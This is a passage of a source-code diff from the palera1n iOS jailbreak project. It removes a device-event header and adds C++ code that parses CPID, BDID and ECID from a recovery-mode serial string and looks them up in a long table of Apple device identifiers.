|
||||||
handle_recovery_remove(event);
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif // WITH_GUI || WITH_TUI
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
|
||||||
|
|
||||||
#ifndef EVENT_H
|
|
||||||
#define EVENT_H
|
|
||||||
|
|
||||||
#include <cstdint>
|
|
||||||
#include <functional>
|
|
||||||
#include <string>
|
|
||||||
|
|
||||||
#ifdef WITH_GUI
|
|
||||||
# include <wx/wx.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <libimobiledevice/libimobiledevice.h>
|
|
||||||
#include <libimobiledevice/lockdown.h>
|
|
||||||
#include <libirecovery.h>
|
|
||||||
|
|
||||||
enum class DeviceMode
|
|
||||||
{
|
|
||||||
None,
|
|
||||||
Normal,
|
|
||||||
Recovery,
|
|
||||||
DFU
|
|
||||||
};
|
|
||||||
|
|
||||||
struct DeviceState
|
|
||||||
{
|
|
||||||
bool connected = false;
|
|
||||||
bool isSupported = false;
|
|
||||||
bool multipleDevices = false;
|
|
||||||
DeviceMode mode = DeviceMode::None;
|
|
||||||
std::string productVersion;
|
|
||||||
std::string productType;
|
|
||||||
std::string displayName;
|
|
||||||
std::string udid;
|
|
||||||
uint64_t ecid = 0;
|
|
||||||
uint32_t connectedDeviceCount = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
using DeviceStateCallback = std::function<void(const DeviceState&)>;
|
|
||||||
void register_device_state_callback(DeviceStateCallback cb);
|
|
||||||
void ensure_device_event_system_started();
|
|
||||||
|
|
||||||
void normal_device_event_cb(const idevice_event_t* event, void* user_data);
|
|
||||||
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data);
|
|
||||||
|
|
||||||
#endif // EVENT_H
|
|
||||||
|
|
||||||
#endif // WITH_GUI || WITH_TUI
|
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#include "device_info.hpp"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <cstdio>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
static uint64_t get_hex_field(const char *serial, const char *field) {
|
||||||
|
char *p = strstr((char *)serial, field);
|
||||||
|
return p ? strtoull(p + strlen(field), nullptr, 16) : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name)
|
||||||
|
{
|
||||||
|
static char cpid_buf[16];
|
||||||
|
static char ecid_buf[32];
|
||||||
|
static char bdid_buf[16];
|
||||||
|
|
||||||
|
uint16_t cpid_val = (uint16_t)get_hex_field(sn, "CPID:");
|
||||||
|
uint32_t bdid_val = (uint32_t)get_hex_field(sn, "BDID:");
|
||||||
|
uint64_t ecid_val = get_hex_field(sn, "ECID:");
|
||||||
|
|
||||||
|
snprintf(cpid_buf, sizeof(cpid_buf), "%04X", cpid_val);
|
||||||
|
snprintf(bdid_buf, sizeof(bdid_buf), "%08X", bdid_val);
|
||||||
|
snprintf(ecid_buf, sizeof(ecid_buf), "%016llX", (unsigned long long)ecid_val);
|
||||||
|
|
||||||
|
*ecid = ecid_buf;
|
||||||
|
|
||||||
|
*product_model = nullptr;
|
||||||
|
*product_name = nullptr;
|
||||||
|
|
||||||
|
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||||
|
if (irecv_devices[i].cpid == cpid_val &&
|
||||||
|
irecv_devices[i].bdid == bdid_val) {
|
||||||
|
*product_model = irecv_devices[i].product_type;
|
||||||
|
*product_name = irecv_devices[i].name;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void get_name_from_product_type(const char *product_type, const char **name) {
|
||||||
|
*name = nullptr;
|
||||||
|
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||||
|
if (strcmp(irecv_devices[i].product_type, product_type) == 0) {
|
||||||
|
*name = irecv_devices[i].name;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
@@ -0,0 +1,382 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#ifndef MAIN__DEVICE_INFO_H
|
||||||
|
#define MAIN__DEVICE_INFO_H
|
||||||
|
|
||||||
|
struct irecv_device {
|
||||||
|
const char *product_type;
|
||||||
|
const char *board;
|
||||||
|
int bdid;
|
||||||
|
int cpid;
|
||||||
|
const char *name;
|
||||||
|
};
|
||||||
|
|
||||||
|
static struct irecv_device irecv_devices[] = {
|
||||||
|
/* iPhone */
|
||||||
|
{ "iPhone1,1", "m68ap", 0x00, 0x8900, "iPhone 2G" },
|
||||||
|
{ "iPhone1,2", "n82ap", 0x04, 0x8900, "iPhone 3G" },
|
||||||
|
{ "iPhone2,1", "n88ap", 0x00, 0x8920, "iPhone 3Gs" },
|
||||||
|
{ "iPhone3,1", "n90ap", 0x00, 0x8930, "iPhone 4 (GSM)" },
|
||||||
|
{ "iPhone3,2", "n90bap", 0x04, 0x8930, "iPhone 4 (GSM) R2 2012" },
|
||||||
|
{ "iPhone3,3", "n92ap", 0x06, 0x8930, "iPhone 4 (CDMA)" },
|
||||||
|
{ "iPhone4,1", "n94ap", 0x08, 0x8940, "iPhone 4s" },
|
||||||
|
{ "iPhone5,1", "n41ap", 0x00, 0x8950, "iPhone 5 (GSM)" },
|
||||||
|
{ "iPhone5,2", "n42ap", 0x02, 0x8950, "iPhone 5 (Global)" },
|
||||||
|
{ "iPhone5,3", "n48ap", 0x0a, 0x8950, "iPhone 5c (GSM)" },
|
||||||
|
{ "iPhone5,4", "n49ap", 0x0e, 0x8950, "iPhone 5c (Global)" },
|
||||||
|
{ "iPhone6,1", "n51ap", 0x00, 0x8960, "iPhone 5s (GSM)" },
|
||||||
|
{ "iPhone6,2", "n53ap", 0x02, 0x8960, "iPhone 5s (Global)" },
|
||||||
|
{ "iPhone7,1", "n56ap", 0x04, 0x7000, "iPhone 6 Plus" },
|
||||||
|
{ "iPhone7,2", "n61ap", 0x06, 0x7000, "iPhone 6" },
|
||||||
|
{ "iPhone8,1", "n71ap", 0x04, 0x8000, "iPhone 6s" },
|
||||||
|
{ "iPhone8,1", "n71map", 0x04, 0x8003, "iPhone 6s" },
|
||||||
|
{ "iPhone8,2", "n66ap", 0x06, 0x8000, "iPhone 6s Plus" },
|
||||||
|
{ "iPhone8,2", "n66map", 0x06, 0x8003, "iPhone 6s Plus" },
|
||||||
|
{ "iPhone8,4", "n69ap", 0x02, 0x8003, "iPhone SE (1st gen)" },
|
||||||
|
{ "iPhone8,4", "n69uap", 0x02, 0x8000, "iPhone SE (1st gen)" },
|
||||||
|
{ "iPhone9,1", "d10ap", 0x08, 0x8010, "iPhone 7 (Global)" },
|
||||||
|
{ "iPhone9,2", "d11ap", 0x0a, 0x8010, "iPhone 7 Plus (Global)" },
|
||||||
|
{ "iPhone9,3", "d101ap", 0x0c, 0x8010, "iPhone 7 (GSM)" },
|
||||||
|
{ "iPhone9,4", "d111ap", 0x0e, 0x8010, "iPhone 7 Plus (GSM)" },
|
||||||
|
{ "iPhone10,1", "d20ap", 0x02, 0x8015, "iPhone 8 (Global)" },
|
||||||
|
{ "iPhone10,2", "d21ap", 0x04, 0x8015, "iPhone 8 Plus (Global)" },
|
||||||
|
{ "iPhone10,3", "d22ap", 0x06, 0x8015, "iPhone X (Global)" },
|
||||||
|
{ "iPhone10,4", "d201ap", 0x0a, 0x8015, "iPhone 8 (GSM)" },
|
||||||
|
{ "iPhone10,5", "d211ap", 0x0c, 0x8015, "iPhone 8 Plus (GSM)" },
|
||||||
|
{ "iPhone10,6", "d221ap", 0x0e, 0x8015, "iPhone X (GSM)" },
|
||||||
|
{ "iPhone11,2", "d321ap", 0x0e, 0x8020, "iPhone XS" },
|
||||||
|
{ "iPhone11,4", "d331ap", 0x0a, 0x8020, "iPhone XS Max (China)" },
|
||||||
|
{ "iPhone11,6", "d331pap", 0x1a, 0x8020, "iPhone XS Max" },
|
||||||
|
{ "iPhone11,8", "n841ap", 0x0c, 0x8020, "iPhone XR" },
|
||||||
|
{ "iPhone12,1", "n104ap", 0x04, 0x8030, "iPhone 11" },
|
||||||
|
{ "iPhone12,3", "d421ap", 0x06, 0x8030, "iPhone 11 Pro" },
|
||||||
|
{ "iPhone12,5", "d431ap", 0x02, 0x8030, "iPhone 11 Pro Max" },
|
||||||
|
{ "iPhone12,8", "d79ap", 0x10, 0x8030, "iPhone SE (2nd gen)" },
|
||||||
|
{ "iPhone13,1", "d52gap", 0x0A, 0x8101, "iPhone 12 mini" },
|
||||||
|
{ "iPhone13,2", "d53gap", 0x0C, 0x8101, "iPhone 12" },
|
||||||
|
{ "iPhone13,3", "d53pap", 0x0E, 0x8101, "iPhone 12 Pro" },
|
||||||
|
{ "iPhone13,4", "d54pap", 0x08, 0x8101, "iPhone 12 Pro Max" },
|
||||||
|
{ "iPhone14,2", "d63ap", 0x0C, 0x8110, "iPhone 13 Pro" },
|
||||||
|
{ "iPhone14,3", "d64ap", 0x0E, 0x8110, "iPhone 13 Pro Max" },
|
||||||
|
{ "iPhone14,4", "d16ap", 0x08, 0x8110, "iPhone 13 mini" },
|
||||||
|
{ "iPhone14,5", "d17ap", 0x0A, 0x8110, "iPhone 13" },
|
||||||
|
{ "iPhone14,6", "d49ap", 0x10, 0x8110, "iPhone SE (3rd gen)" },
|
||||||
|
{ "iPhone14,7", "d27ap", 0x18, 0x8110, "iPhone 14" },
|
||||||
|
{ "iPhone14,8", "d28ap", 0x1A, 0x8110, "iPhone 14 Plus" },
|
||||||
|
{ "iPhone15,2", "d73ap", 0x0C, 0x8120, "iPhone 14 Pro" },
|
||||||
|
{ "iPhone15,3", "d74ap", 0x0E, 0x8120, "iPhone 14 Pro Max" },
|
||||||
|
{ "iPhone15,4", "d37ap", 0x08, 0x8120, "iPhone 15" },
|
||||||
|
{ "iPhone15,5", "d38ap", 0x0A, 0x8120, "iPhone 15 Plus" },
|
||||||
|
{ "iPhone16,1", "d83ap", 0x04, 0x8130, "iPhone 15 Pro" },
|
||||||
|
{ "iPhone16,2", "d84ap", 0x06, 0x8130, "iPhone 15 Pro Max" },
|
||||||
|
{ "iPhone17,1", "d93ap", 0x0C, 0x8140, "iPhone 16 Pro" },
|
||||||
|
{ "iPhone17,2", "d94ap", 0x0E, 0x8140, "iPhone 16 Pro Max" },
|
||||||
|
{ "iPhone17,3", "d47ap", 0x08, 0x8140, "iPhone 16" },
|
||||||
|
{ "iPhone17,4", "d48ap", 0x0A, 0x8140, "iPhone 16 Plus" },
|
||||||
|
{ "iPhone17,5", "v59ap", 0x04, 0x8140, "iPhone 16e" },
|
||||||
|
{ "iPhone18,1", "v53ap", 0x0C, 0x8150, "iPhone 17 Pro" },
|
||||||
|
{ "iPhone18,2", "v54ap", 0x0E, 0x8150, "iPhone 17 Pro Max" },
|
||||||
|
{ "iPhone18,3", "v57ap", 0x08, 0x8150, "iPhone 17" },
|
||||||
|
{ "iPhone18,4", "d23ap", 0x0A, 0x8150, "iPhone Air" },
|
||||||
|
{ "iPhone18,5", "v159ap", 0x16, 0x8150, "iPhone 17e" },
|
||||||
|
/* iPod */
|
||||||
|
{ "iPod1,1", "n45ap", 0x02, 0x8900, "iPod Touch (1st gen)" },
|
||||||
|
{ "iPod2,1", "n72ap", 0x00, 0x8720, "iPod Touch (2nd gen)" },
|
||||||
|
{ "iPod3,1", "n18ap", 0x02, 0x8922, "iPod Touch (3rd gen)" },
|
||||||
|
{ "iPod4,1", "n81ap", 0x08, 0x8930, "iPod Touch (4th gen)" },
|
||||||
|
{ "iPod5,1", "n78ap", 0x00, 0x8942, "iPod Touch (5th gen)" },
|
||||||
|
{ "iPod7,1", "n102ap", 0x10, 0x7000, "iPod Touch (6th gen)" },
|
||||||
|
{ "iPod9,1", "n112ap", 0x16, 0x8010, "iPod Touch (7th gen)" },
|
||||||
|
/* iPad */
|
||||||
|
{ "iPad1,1", "k48ap", 0x02, 0x8930, "iPad" },
|
||||||
|
{ "iPad2,1", "k93ap", 0x04, 0x8940, "iPad 2 (WiFi)" },
|
||||||
|
{ "iPad2,2", "k94ap", 0x06, 0x8940, "iPad 2 (GSM)" },
|
||||||
|
{ "iPad2,3", "k95ap", 0x02, 0x8940, "iPad 2 (CDMA)" },
|
||||||
|
{ "iPad2,4", "k93aap", 0x06, 0x8942, "iPad 2 (WiFi) R2 2012" },
|
||||||
|
{ "iPad2,5", "p105ap", 0x0a, 0x8942, "iPad mini (WiFi)" },
|
||||||
|
{ "iPad2,6", "p106ap", 0x0c, 0x8942, "iPad mini (GSM)" },
|
||||||
|
{ "iPad2,7", "p107ap", 0x0e, 0x8942, "iPad mini (Global)" },
|
||||||
|
{ "iPad3,1", "j1ap", 0x00, 0x8945, "iPad (3rd gen, WiFi)" },
|
||||||
|
{ "iPad3,2", "j2ap", 0x02, 0x8945, "iPad (3rd gen, CDMA)" },
|
||||||
|
{ "iPad3,3", "j2aap", 0x04, 0x8945, "iPad (3rd gen, GSM)" },
|
||||||
|
{ "iPad3,4", "p101ap", 0x00, 0x8955, "iPad (4th gen, WiFi)" },
|
||||||
|
{ "iPad3,5", "p102ap", 0x02, 0x8955, "iPad (4th gen, GSM)" },
|
||||||
|
{ "iPad3,6", "p103ap", 0x04, 0x8955, "iPad (4th gen, Global)" },
|
||||||
|
{ "iPad4,1", "j71ap", 0x10, 0x8960, "iPad Air (WiFi)" },
|
||||||
|
{ "iPad4,2", "j72ap", 0x12, 0x8960, "iPad Air (Cellular)" },
|
||||||
|
{ "iPad4,3", "j73ap", 0x14, 0x8960, "iPad Air (China)" },
|
||||||
|
{ "iPad4,4", "j85ap", 0x0a, 0x8960, "iPad mini 2 (WiFi)" },
|
||||||
|
{ "iPad4,5", "j86ap", 0x0c, 0x8960, "iPad mini 2 (Cellular)" },
|
||||||
|
{ "iPad4,6", "j87ap", 0x0e, 0x8960, "iPad mini 2 (China)" },
|
||||||
|
{ "iPad4,7", "j85map", 0x32, 0x8960, "iPad mini 3 (WiFi)" },
|
||||||
|
{ "iPad4,8", "j86map", 0x34, 0x8960, "iPad mini 3 (Cellular)" },
|
||||||
|
{ "iPad4,9", "j87map", 0x36, 0x8960, "iPad mini 3 (China)" },
|
||||||
|
{ "iPad5,1", "j96ap", 0x08, 0x7000, "iPad mini 4 (WiFi)" },
|
||||||
|
{ "iPad5,2", "j97ap", 0x0A, 0x7000, "iPad mini 4 (Cellular)" },
|
||||||
|
{ "iPad5,3", "j81ap", 0x06, 0x7001, "iPad Air 2 (WiFi)" },
|
||||||
|
{ "iPad5,4", "j82ap", 0x02, 0x7001, "iPad Air 2 (Cellular)" },
|
||||||
|
{ "iPad6,3", "j127ap", 0x08, 0x8001, "iPad Pro 9.7-inch (WiFi)" },
|
||||||
|
{ "iPad6,4", "j128ap", 0x0a, 0x8001, "iPad Pro 9.7-inch (Cellular)" },
|
||||||
|
{ "iPad6,7", "j98aap", 0x10, 0x8001, "iPad Pro 12.9-inch (1st gen, WiFi)" },
|
||||||
|
{ "iPad6,8", "j99aap", 0x12, 0x8001, "iPad Pro 12.9-inch (1st gen, Cellular)" },
|
||||||
|
{ "iPad6,11", "j71sap", 0x10, 0x8000, "iPad (5th gen, WiFi)" },
|
||||||
|
{ "iPad6,11", "j71tap", 0x10, 0x8003, "iPad (5th gen, WiFi)" },
|
||||||
|
{ "iPad6,12", "j72sap", 0x12, 0x8000, "iPad (5th gen, Cellular)" },
|
||||||
|
{ "iPad6,12", "j72tap", 0x12, 0x8003, "iPad (5th gen, Cellular)" },
|
||||||
|
{ "iPad7,1", "j120ap", 0x0C, 0x8011, "iPad Pro 12.9-inch (2nd gen, WiFi)" },
|
||||||
|
{ "iPad7,2", "j121ap", 0x0E, 0x8011, "iPad Pro 12.9-inch (2nd gen, Cellular)" },
|
||||||
|
{ "iPad7,3", "j207ap", 0x04, 0x8011, "iPad Pro 10.5-inch (WiFi)" },
|
||||||
|
{ "iPad7,4", "j208ap", 0x06, 0x8011, "iPad Pro 10.5-inch (Cellular)" },
|
||||||
|
{ "iPad7,5", "j71bap", 0x18, 0x8010, "iPad (6th gen, WiFi)" },
|
||||||
|
{ "iPad7,6", "j72bap", 0x1A, 0x8010, "iPad (6th gen, Cellular)" },
|
||||||
|
{ "iPad7,11", "j171ap", 0x1C, 0x8010, "iPad (7th gen, WiFi)" },
|
||||||
|
{ "iPad7,12", "j172ap", 0x1E, 0x8010, "iPad (7th gen, Cellular)" },
|
||||||
|
{ "iPad8,1", "j317ap", 0x0C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi)" },
|
||||||
|
{ "iPad8,2", "j317xap", 0x1C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi, 1TB)" },
|
||||||
|
{ "iPad8,3", "j318ap", 0x0E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular)" },
|
||||||
|
{ "iPad8,4", "j318xap", 0x1E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular, 1TB)" },
|
||||||
|
{ "iPad8,5", "j320ap", 0x08, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi)" },
|
||||||
|
{ "iPad8,6", "j320xap", 0x18, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi, 1TB)" },
|
||||||
|
{ "iPad8,7", "j321ap", 0x0A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular)" },
|
||||||
|
{ "iPad8,8", "j321xap", 0x1A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular, 1TB)" },
|
||||||
|
{ "iPad8,9", "j417ap", 0x3C, 0x8027, "iPad Pro 11-inch (2nd gen, WiFi)" },
|
||||||
|
{ "iPad8,10", "j418ap", 0x3E, 0x8027, "iPad Pro 11-inch (2nd gen, Cellular)" },
|
||||||
|
{ "iPad8,11", "j420ap", 0x38, 0x8027, "iPad Pro 12.9-inch (4th gen, WiFi)" },
|
||||||
|
{ "iPad8,12", "j421ap", 0x3A, 0x8027, "iPad Pro 12.9-inch (4th gen, Cellular)" },
|
||||||
|
{ "iPad11,1", "j210ap", 0x14, 0x8020, "iPad mini (5th gen, WiFi)" },
|
||||||
|
{ "iPad11,2", "j211ap", 0x16, 0x8020, "iPad mini (5th gen, Cellular)" },
|
||||||
|
{ "iPad11,3", "j217ap", 0x1C, 0x8020, "iPad Air (3rd gen, WiFi)" },
|
||||||
|
{ "iPad11,4", "j218ap", 0x1E, 0x8020, "iPad Air (3rd gen, Cellular)" },
|
||||||
|
{ "iPad11,6", "j171aap", 0x24, 0x8020, "iPad (8th gen, WiFi)" },
|
||||||
|
{ "iPad11,7", "j172aap", 0x26, 0x8020, "iPad (8th gen, Cellular)" },
|
||||||
|
{ "iPad12,1", "j181ap", 0x18, 0x8030, "iPad (9th gen, WiFi)" },
|
||||||
|
{ "iPad12,2", "j182ap", 0x1A, 0x8030, "iPad (9th gen, Cellular)" },
|
||||||
|
{ "iPad13,1", "j307ap", 0x04, 0x8101, "iPad Air (4th gen, WiFi)" },
|
||||||
|
{ "iPad13,2", "j308ap", 0x06, 0x8101, "iPad Air (4th gen, Cellular)" },
|
||||||
|
{ "iPad13,4", "j517ap", 0x08, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi)" },
|
||||||
|
{ "iPad13,5", "j517xap", 0x0A, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi, 2TB)" },
|
||||||
|
{ "iPad13,6", "j518ap", 0x0C, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular)" },
|
||||||
|
{ "iPad13,7", "j518xap", 0x0E, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular, 2TB)" },
|
||||||
|
{ "iPad13,8", "j522ap", 0x18, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi)" },
|
||||||
|
{ "iPad13,9", "j522xap", 0x1A, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi, 2TB)" },
|
||||||
|
{ "iPad13,10", "j523ap", 0x1C, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular)" },
|
||||||
|
{ "iPad13,11", "j523xap", 0x1E, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular, 2TB)" },
|
||||||
|
{ "iPad13,16", "j407ap", 0x10, 0x8103, "iPad Air (5th gen, WiFi)" },
|
||||||
|
{ "iPad13,17", "j408ap", 0x12, 0x8103, "iPad Air (5th gen, Cellular)" },
|
||||||
|
{ "iPad13,18", "j271ap", 0x14, 0x8101, "iPad (10th gen, WiFi)" },
|
||||||
|
{ "iPad13,19", "j272ap", 0x16, 0x8101, "iPad (10th gen, Cellular)" },
|
||||||
|
{ "iPad14,1", "j310ap", 0x04, 0x8110, "iPad mini (6th gen, WiFi)" },
|
||||||
|
{ "iPad14,2", "j311ap", 0x06, 0x8110, "iPad mini (6th gen, Cellular)" },
|
||||||
|
{ "iPad14,3", "j617ap", 0x08, 0x8112, "iPad Pro 11-inch (4th gen, WiFi)" },
|
||||||
|
{ "iPad14,4", "j618ap", 0x0A, 0x8112, "iPad Pro 11-inch (4th gen, Cellular)" },
|
||||||
|
{ "iPad14,5", "j620ap", 0x0C, 0x8112, "iPad Pro 12.9-inch (6th gen, WiFi)" },
|
||||||
|
{ "iPad14,6", "j621ap", 0x0E, 0x8112, "iPad Pro 12.9-inch (6th gen, Cellular)" },
|
||||||
|
{ "iPad14,8", "j507ap", 0x10, 0x8112, "iPad Air 11-inch (M2, WiFi)" },
|
||||||
|
{ "iPad14,9", "j508ap", 0x12, 0x8112, "iPad Air 11-inch (M2, Cellular)" },
|
||||||
|
{ "iPad14,10", "j537ap", 0x14, 0x8112, "iPad Air 13-inch (M2, WiFi)" },
|
||||||
|
{ "iPad14,11", "j538ap", 0x16, 0x8112, "iPad Air 13-inch (M2, Cellular)" },
|
||||||
|
{ "iPad15,3", "j607ap", 0x08, 0x8122, "iPad Air 11-inch (M3, WiFi)" },
|
||||||
|
{ "iPad15,4", "j608ap", 0x0A, 0x8122, "iPad Air 11-inch (M3, Cellular)" },
|
||||||
|
{ "iPad15,5", "j637ap", 0x0C, 0x8122, "iPad Air 13-inch (M3, WiFi)" },
|
||||||
|
{ "iPad15,6", "j638ap", 0x0E, 0x8122, "iPad Air 13-inch (M3, Cellular)" },
|
||||||
|
{ "iPad15,7", "j481ap", 0x10, 0x8120, "iPad (A16, WiFi)" },
|
||||||
|
{ "iPad15,8", "j482ap", 0x12, 0x8120, "iPad (A16, Cellular)" },
|
||||||
|
{ "iPad16,1", "j410ap", 0x08, 0x8130, "iPad mini (A17 Pro, WiFi)" },
|
||||||
|
{ "iPad16,2", "j411ap", 0x0A, 0x8130, "iPad mini (A17 Pro, Cellular)" },
|
||||||
|
{ "iPad16,3", "j717ap", 0x08, 0x8132, "iPad Pro 11-inch (M4, WiFi)" },
|
||||||
|
{ "iPad16,4", "j718ap", 0x0A, 0x8132, "iPad Pro 11-inch (M4, Cellular)" },
|
||||||
|
{ "iPad16,5", "j720ap", 0x0C, 0x8132, "iPad Pro 13-inch (M4, WiFi)" },
|
||||||
|
{ "iPad16,6", "j721ap", 0x0E, 0x8132, "iPad Pro 13-inch (M4, Cellular)" },
|
||||||
|
{ "iPad16,8", "j707ap", 0x10, 0x8132, "iPad Air 11-inch (M4, Wi-Fi)" },
|
||||||
|
{ "iPad16,9", "j708ap", 0x12, 0x8132, "iPad Air 11-inch (M4, Cellular)" },
|
||||||
|
{ "iPad16,10", "j737ap", 0x14, 0x8132, "iPad Air 13-inch (M4, Wi-Fi)" },
|
||||||
|
{ "iPad16,11", "j738ap", 0x16, 0x8132, "iPad Air 13-inch (M4, Cellular)" },
|
||||||
|
{ "iPad17,1", "j817ap", 0x08, 0x8142, "iPad Pro 11-inch (M5, WiFi)" },
|
||||||
|
{ "iPad17,2", "j818ap", 0x0A, 0x8142, "iPad Pro 11-inch (M5, Cellular)" },
|
||||||
|
{ "iPad17,3", "j820ap", 0x0C, 0x8142, "iPad Pro 13-inch (M5, WiFi)" },
|
||||||
|
{ "iPad17,4", "j821ap", 0x0E, 0x8142, "iPad Pro 13-inch (M5, Cellular)" },
|
||||||
|
/* Apple TV */
|
||||||
|
{ "AppleTV2,1", "k66ap", 0x10, 0x8930, "Apple TV 2" },
|
||||||
|
{ "AppleTV3,1", "j33ap", 0x08, 0x8942, "Apple TV 3" },
|
||||||
|
{ "AppleTV3,2", "j33iap", 0x00, 0x8947, "Apple TV 3 (2013)" },
|
||||||
|
{ "AppleTV5,3", "j42dap", 0x34, 0x7000, "Apple TV 4" },
|
||||||
|
{ "AppleTV6,2", "j105aap", 0x02, 0x8011, "Apple TV 4K" },
|
||||||
|
{ "AppleTV11,1", "j305ap", 0x08, 0x8020, "Apple TV 4K (2nd gen)" },
|
||||||
|
{ "AppleTV14,1", "j255ap", 0x02, 0x8110, "Apple TV 4K (3rd gen)" },
|
||||||
|
/* HomePod */
|
||||||
|
{ "AudioAccessory1,1", "b238aap", 0x38, 0x7000, "HomePod (1st gen)" },
|
||||||
|
{ "AudioAccessory1,2", "b238ap", 0x1A, 0x7000, "HomePod (1st gen)" },
|
||||||
|
{ "AudioAccessory5,1", "b520ap", 0x22, 0x8006, "HomePod mini" },
|
||||||
|
{ "AudioAccessory6,1", "b620ap", 0x18, 0x8301, "HomePod (2nd gen)" },
|
||||||
|
/* Apple Watch */
|
||||||
|
{ "Watch1,1", "n27aap", 0x02, 0x7002, "Apple Watch 38mm (1st gen)" },
|
||||||
|
{ "Watch1,2", "n28aap", 0x04, 0x7002, "Apple Watch 42mm (1st gen)" },
|
||||||
|
{ "Watch2,6", "n27dap", 0x02, 0x8002, "Apple Watch Series 1 (38mm)" },
|
||||||
|
{ "Watch2,7", "n28dap", 0x04, 0x8002, "Apple Watch Series 1 (42mm)" },
|
||||||
|
{ "Watch2,3", "n74ap", 0x0C, 0x8002, "Apple Watch Series 2 (38mm)" },
|
||||||
|
{ "Watch2,4", "n75ap", 0x0E, 0x8002, "Apple Watch Series 2 (42mm)" },
|
||||||
|
{ "Watch3,1", "n111sap", 0x1C, 0x8004, "Apple Watch Series 3 (38mm Cellular)" },
|
||||||
|
{ "Watch3,2", "n111bap", 0x1E, 0x8004, "Apple Watch Series 3 (42mm Cellular)" },
|
||||||
|
